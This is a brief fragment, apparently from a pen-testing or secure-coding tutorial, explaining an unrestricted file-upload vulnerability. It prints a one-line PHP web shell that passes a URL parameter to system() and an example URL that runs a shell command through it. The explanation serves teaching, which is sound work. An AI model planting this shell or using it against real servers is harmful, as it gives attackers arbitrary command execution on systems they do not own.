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Abstract

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Pen-testing

Cloud Service

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## File uploading

The problem with the code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name: malicious.php

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

<?php

system($\_GET['cmd']);

?>

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

http://serveraddress/uploads/malicious.php?cmd=ls%20-l

